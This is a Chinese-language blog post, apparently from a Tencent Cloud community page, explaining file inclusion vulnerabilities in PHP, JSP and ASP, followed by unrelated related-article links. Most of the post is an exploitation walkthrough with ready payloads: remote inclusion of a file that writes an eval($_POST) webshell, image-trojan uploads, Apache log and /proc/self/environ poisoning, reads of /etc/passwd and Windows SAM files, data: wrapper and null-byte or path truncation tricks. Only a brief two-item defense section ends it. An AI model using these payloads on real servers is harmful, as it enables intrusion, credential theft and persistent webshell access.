文件包含漏洞-懒人安全

一.漏洞描述

文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件是使用硬编码的,那么一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行,主要用来绕过waf上传木马文件。

二.漏洞分类

0x01本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码

上传图片马,然后包含

读敏感文件,读PHP文件

包含日志文件GetShell

包含/proc/self/envion文件GetShell

包含data:或php://input等伪协议

若有phpinfo则可以包含临时文件

0x02 远程文件包含:可以直接执行任意代码

要保证php.ini中allow_url_fopen和allow_url_include要为On

三.漏洞利用

0x01 php文件包含漏洞

Php文件包含漏洞主要涉及到的危险函数主要是四个:

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

include_once()和require_once():若文件中代码已被包含则不会再次包含

①本地包含漏洞(LFI)

新建一个phpinfo.txt,然后新建一个shell.php,写入:

<?php Include("phpinfo.txt"); ?>

访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

②远程包含漏洞

前提:需要开启allow_url_fopen,默认关闭。

新建php.txt:

<?php echo "hello world"; ?>

新建index.php:

<?php Include($_GET['page']); ?>

访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

③文件包含利用

读取敏感信息:

如:http://www.xxx.com/index.php?page=/etc/passwd

Windows:

c:\boot.ini

c:\windows\systems32\inetsrv\MetaBase.xml

c:\windows\repair\sam

c:\windows\php.ini php配置文件

c:\windows\my.ini mysql配置文件

LINUX:

/etc/passwd

/usr/local/app/apache2/conf/http.conf

/usr/local/app/php5/lib/php.ini PHP相关设置

/etc/httpd/conf/http.conf apache配置文件

/etc/my.cnf mysql配置文件

远程包含shell:

test.txt文件,可以保存在远程服务器上,内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:<?php eval($_POST[nmask]);?>

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传

上传一个图片木马a.jpg,内容为:

<?fputs(fopen("shell.php","w")

<?php eval($_POST[tzc]);?>")?>

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

如:http://www.test.com/view.php?page=../../../../proc/self/environ

这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

利用php协议进行包含

前提:php5.2以后版本且需要开启allow_url_include

poc:http://www.test.com/index.php?file=data:text/plain,<?phpphpinfo();?>%00

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

<?Php Include $_GET['page'].".php" ?>

(一)00截断包含

新建1.jpg:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

(二)使用长目录截断

././././././././././././././etc/passwd

或者

////////////////////////////etc/passwd

或者

../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

0x02 jsp文件包含漏洞

include

<%@ include file="head.jsp"%>

<%@ include file="body.jsp"%>

<%@ include file="tail.jsp"%>

jsp:include

<jsp:include page="head.jsp"/>

<jsp:include page="body.jsp"/>   

<jsp:include page="tail.jsp”/>

采用JSTL

<c:import url="http://thief.one/1.jsp">

说明:

(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。

(2)采用前两种方式,只能包含当前web应用的界面,但c:import可以包含容器之外的内容。

0x03 asp文件包含漏洞

asp似乎无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

<!--#include file="1.asp" -->

0x04 spx文件包含漏洞

aspx文件包含与asp一样,语法如下:

<!--#include file="top.aspx" -->

四.漏洞防御

①开启open_basedir函数,将其设置为指定目录,只有该目录的文件允许被访问。

②设置allow_url_fopen和 allow_url_include为0ff,防止远程文件包含。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏技术支持log

GET 和 POST 请求 http 站点时数据是否加密?

GET和POST本质上就是TCP链接,并无差别。但是由于HTTP的规定和浏览器/服务器的限制,导致他们在应用过程中体现出一些不同。

56710
来自专栏Java学习123

Eclipse+python开发环境配置pydev

35470
来自专栏用户2442861的专栏

maven安装和配置【windows系统】)

    最近准备使用Maven来进行项目管理和构建,该系列将记录我学习Maven的整个过程。

14620
来自专栏散尽浮华

Mysql连接错误:Lost connection to Mysql server at 'waiting for initial communication packet'

在远程连接mysql的时候,连接不上,出现如下报错: Lost connection to MySQL server at 'waiting for initi...

39280
来自专栏实战docker

基于spring boot框架访问zookeeper

本文讲解了如果通过springboot快速开发web服务,并读取zookeeper的过程,为后续的“在docker下部署dubbo服务“做准备工作,本文相关的操...

1.3K90
来自专栏前端开发

CentOS 7 安装 JAVA环境(JDK 1.8)

地址:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-213315...

2.7K40
来自专栏Java技术分享圈

杨老师课堂之JavaWeb项目架构之NFS文件服务器

当用户A通过互联网上传文件时,经过负载均衡,随机或者定向分配到某个节点。但是当用户B去下载这个文件的时候,并不确定会向哪个节点发送请求,这样会导致用户存在一定几...

20830
来自专栏深度学习之tensorflow实战篇

解决SSH连接linux中文显示乱码问题

添加windows下mysql服务 以管理员身份打开cmd,执行 mysqld –install net stop mysql 忘记密码找回 找到m...

51450
来自专栏云计算教程系列

在CVM上使用rbenv安装RoR

Ruby on Rails(官方简称为Rails,亦被简称为RoR),是一个使用Ruby语言写的开源Web应用框架,它是严格按照MVC结构开发的。它努力使自身保...

18780
来自专栏云计算教程系列

如何在Ubuntu 18.04上使用rbenv安装Ruby on Rails

Ruby on Rails是创建网站和Web应用程序的开发人员最受欢迎的应用程序堆栈之一。Ruby编程语言与Rails开发框架相结合,使应用程序开发变得简单。

40750

扫码关注云+社区

领取腾讯云代金券